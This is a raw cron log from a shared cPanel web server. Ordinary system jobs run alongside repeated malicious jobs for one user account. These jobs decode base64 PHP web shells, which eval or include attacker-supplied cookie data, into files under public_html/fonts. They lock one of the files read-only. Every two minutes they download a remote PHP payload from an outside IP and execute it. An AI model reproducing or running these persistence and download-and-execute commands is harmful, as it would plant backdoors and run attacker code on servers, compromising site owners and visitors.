Sep  7 02:22:02 ip-184-168-122-23 CROND[31131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:22:02 ip-184-168-122-23 CROND[31130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:22:02 ip-184-168-122-23 CROND[31133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:23:01 ip-184-168-122-23 CROND[31224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:23:01 ip-184-168-122-23 CROND[31225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:23:01 ip-184-168-122-23 CROND[31226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:23:01 ip-184-168-122-23 CROND[31227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:24:01 ip-184-168-122-23 CROND[31306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:24:01 ip-184-168-122-23 CROND[31307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:24:01 ip-184-168-122-23 CROND[31308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:24:01 ip-184-168-122-23 CROND[31311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:24:01 ip-184-168-122-23 CROND[31314]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  7 02:24:01 ip-184-168-122-23 CROND[31316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:25:01 ip-184-168-122-23 CROND[31417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:25:01 ip-184-168-122-23 CROND[31418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:25:01 ip-184-168-122-23 CROND[31422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:25:01 ip-184-168-122-23 CROND[31420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:25:01 ip-184-168-122-23 CROND[31423]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 02:25:01 ip-184-168-122-23 CROND[31421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:25:01 ip-184-168-122-23 CROND[31425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:26:01 ip-184-168-122-23 CROND[31511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:26:01 ip-184-168-122-23 CROND[31513]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  7 02:26:01 ip-184-168-122-23 CROND[31514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:26:01 ip-184-168-122-23 CROND[31517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:26:01 ip-184-168-122-23 CROND[31516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:26:01 ip-184-168-122-23 CROND[31520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  7 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  7 02:27:01 ip-184-168-122-23 CROND[31863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:27:01 ip-184-168-122-23 CROND[31864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:27:01 ip-184-168-122-23 CROND[31866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:27:01 ip-184-168-122-23 CROND[31865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:28:01 ip-184-168-122-23 CROND[31950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:28:01 ip-184-168-122-23 CROND[31954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:28:01 ip-184-168-122-23 CROND[31955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:28:01 ip-184-168-122-23 CROND[31953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:28:01 ip-184-168-122-23 CROND[31952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:29:01 ip-184-168-122-23 CROND[32050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:29:01 ip-184-168-122-23 CROND[32053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:29:01 ip-184-168-122-23 CROND[32052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:29:01 ip-184-168-122-23 CROND[32051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:30:01 ip-184-168-122-23 CROND[32149]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:30:01 ip-184-168-122-23 CROND[32150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:30:01 ip-184-168-122-23 CROND[32154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:30:01 ip-184-168-122-23 CROND[32157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:30:01 ip-184-168-122-23 CROND[32159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:30:01 ip-184-168-122-23 CROND[32156]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:30:01 ip-184-168-122-23 CROND[32163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:30:01 ip-184-168-122-23 CROND[32162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:31:01 ip-184-168-122-23 CROND[32253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:31:01 ip-184-168-122-23 CROND[32256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:31:01 ip-184-168-122-23 CROND[32257]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 02:31:01 ip-184-168-122-23 CROND[32258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:31:01 ip-184-168-122-23 CROND[32259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:32:01 ip-184-168-122-23 CROND[32355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:32:01 ip-184-168-122-23 CROND[32354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:32:01 ip-184-168-122-23 CROND[32360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:32:01 ip-184-168-122-23 CROND[32358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:32:01 ip-184-168-122-23 CROND[32357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:33:01 ip-184-168-122-23 CROND[32453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:33:01 ip-184-168-122-23 CROND[32452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:33:01 ip-184-168-122-23 CROND[32454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:33:01 ip-184-168-122-23 CROND[32455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:34:01 ip-184-168-122-23 CROND[32616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
